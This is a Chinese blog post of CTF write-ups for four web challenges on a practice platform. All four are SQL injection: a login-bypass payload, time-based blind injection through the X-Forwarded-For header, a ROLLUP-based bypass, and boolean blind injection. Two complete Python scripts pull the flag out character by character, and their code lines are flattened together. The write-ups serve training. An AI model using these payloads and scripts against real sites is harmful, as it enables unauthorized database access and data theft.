CTF實驗吧-WEB專題-1
分享一下我老師大神的人工智慧教程!零基礎,通俗易懂!http://blog.csdn.net/jiangjunshow
也歡迎大家轉載本篇文章。分享知識,造福人民,實現我們中華民族偉大復興!
1.登陸一下好嗎??
題解
抓住sql語句的性質,構造萬能密碼,可以使t'='
一般的驗證SQL語句為:
select * from user where username='xxx' and password='xxx'
當我們我們的表單提交
t'='
時,SQL語句就變成了 select * from user where username='t'='' and password='t'=''
很明顯,username=’t’會返回false,然後等於”就返回了true,同樣的道理,password也一樣
如此就能拿到flag了
2.who are you?
題解
直接寫個’,發現沒有被過濾,如下圖
然後試了試其他的,發現過濾掉了逗號後面,也就是說逗號是不能用,對於題目的提示,說會記錄到db裡面去,所以後臺程式可能用的是insert語句,沒有使用select語句,所以尋常的注入不起作用
所以我們通過sleep進行測試
發現對方伺服器發回資料的時間間隔相差大概五秒,所以可以使用sleep來進行盲注,這裡需要注意的是sleep必須和and繫結,否則不執行語句,因為and的優先順序比or高,當有and的時候會執行sleep語句,當沒有的時候只會執行or左邊的語句
盲注的話,首先我們要判斷是否存在flag表以及他的列名也是用上述類似的方法,如果存在直接用python進行延時判斷,就可以得到完整的flag
判斷是否存在表flag如下圖
延時五秒錶示存在flag表
然後判斷是否存在列名flag,如下圖
接下來就是寫程式進行盲注了
#! /usr/bin/env python# -*- coding=utf-8 -*-import urllib2import timeimport requests#要訪問的地址url="http://ctf5.shiyanbar.com/web/wonderkun/index.php"#列舉的可能字元const_str="abcdefghijklmnopqrstuvwxyz0123456789@_.{}-"#最終的字串flag_str=""for i in range(1,33): isflag = False for j in range(0,len(const_str)): sql="' or sleep(((select substring(flag from "+str(i)+" for 1) from flag)='"+const_str[j]+"')*5) and '1'='1" headers={ "X-forwarded-for":sql } #print sql last = time.time() requests.get(url, headers=headers,timeout=10) now = time.time() if now - last > 5:#此處的時間和sql變數中的延時引數可以根據實際情況進行修改 flag_str += const_str[j] isflag = True print i,flag_str break if not isflag :#如果該位沒有枚舉出結果則報錯 print 'error' breakprint flag_str#本程式在自己的機子上執行到27突然報錯好像是報記憶體,大家如果使用的話,先遍歷出前25個然後再遍歷出剩下的7個就可以了
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
3.因缺思汀的繞過
題解
通過檢視網頁程式碼原始碼我們發現了提示source.txt檔案,所以毫不猶豫的開啟這個檔案,後臺處理原始碼基本就出來了,然後我們就需要思考如何繞過這個原始碼設定的障礙。
從程式碼中我們可以看出,他過濾掉了絕大多數sql注入語句,用陣列也會被pass掉,好尷尬呀,怎麼辦,雖然防護的很好,但是還有幾個特別重要的sql語句他沒有進行過濾,那就是group by,or,rollup[如果不知道這個語句的,可以百度看看],終有一疏啊,哈哈哈
這裡只提一下rollup的作用,他會根據某一個列進行組合,然後會產生null值,就是讓最終的表中有多個null值,然而我們要利用的就是null==null,嘿
我們先根據程式碼進行一部分處理uname填寫如下語句 ' or 1 limit 1--
或者(–後有空格) ' or 1 limit 1#
#(%23url編碼不起作用,不知道原因)
可以得到亦可賽艇,接著我們需要讓key和pwd相等,用rollup就可以了
構造語句如下即可
4.簡單的sql注入之3
題解
通過簡單的注入測試可以知道' or 1--
可以通過,所以存在注入了,但是不管是通過information_schema還是其他途徑都無法直接得到flag,所以我們只能用盲注了,哎,思路和博文中who are you基本是一樣的,但是不是用延時,因為延時他會返回Don’t,所以我們根據題目的特性,當存在某個之目的時候返回hello我們只要檢測返回的頁面有沒有hello就可以了,程式碼如下:
#! /usr/bin/env python# -*- coding=utf-8 -*-import timeimport requests#猜測flag長度' or ((select length(flag) from flag)>=32)=1#url = "http://ctf5.shiyanbar.com/web/index_3.php?id="const_str="[email protected]_{}"flag_str=""for i in range(1,27): isflag = False for j in range(0, len(const_str)): sql="' or ascii((select substring(flag from "+str(i)+" for 1) from flag))='"+str(ord(const_str[j])); res=requests.get(url+sql, timeout=20) #print res.text #print url+sql if res.text.find('Hello') >= 0: flag_str+= const_str[j] print i, flag_str isflag = True break if not isflag: print 'error' breakprint flag_str
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
其中用到的ascii是將ASCII字元轉換為整數,substring則是求子串了,好像substr也可以用,大家可以自己試試。
在程式碼中有個猜測程式碼長度,可以在進行程式碼盲注之前就判斷好,通過二分方法,也可以直接用程式碼,因為當超過flag字元的時候,資料庫會報錯,如此通過判斷有沒有報錯自動停止就可以了,這樣flag輕鬆拿到。
呼,只寫了四個,每天四個,還有很多要寫呀,努力,乾巴得!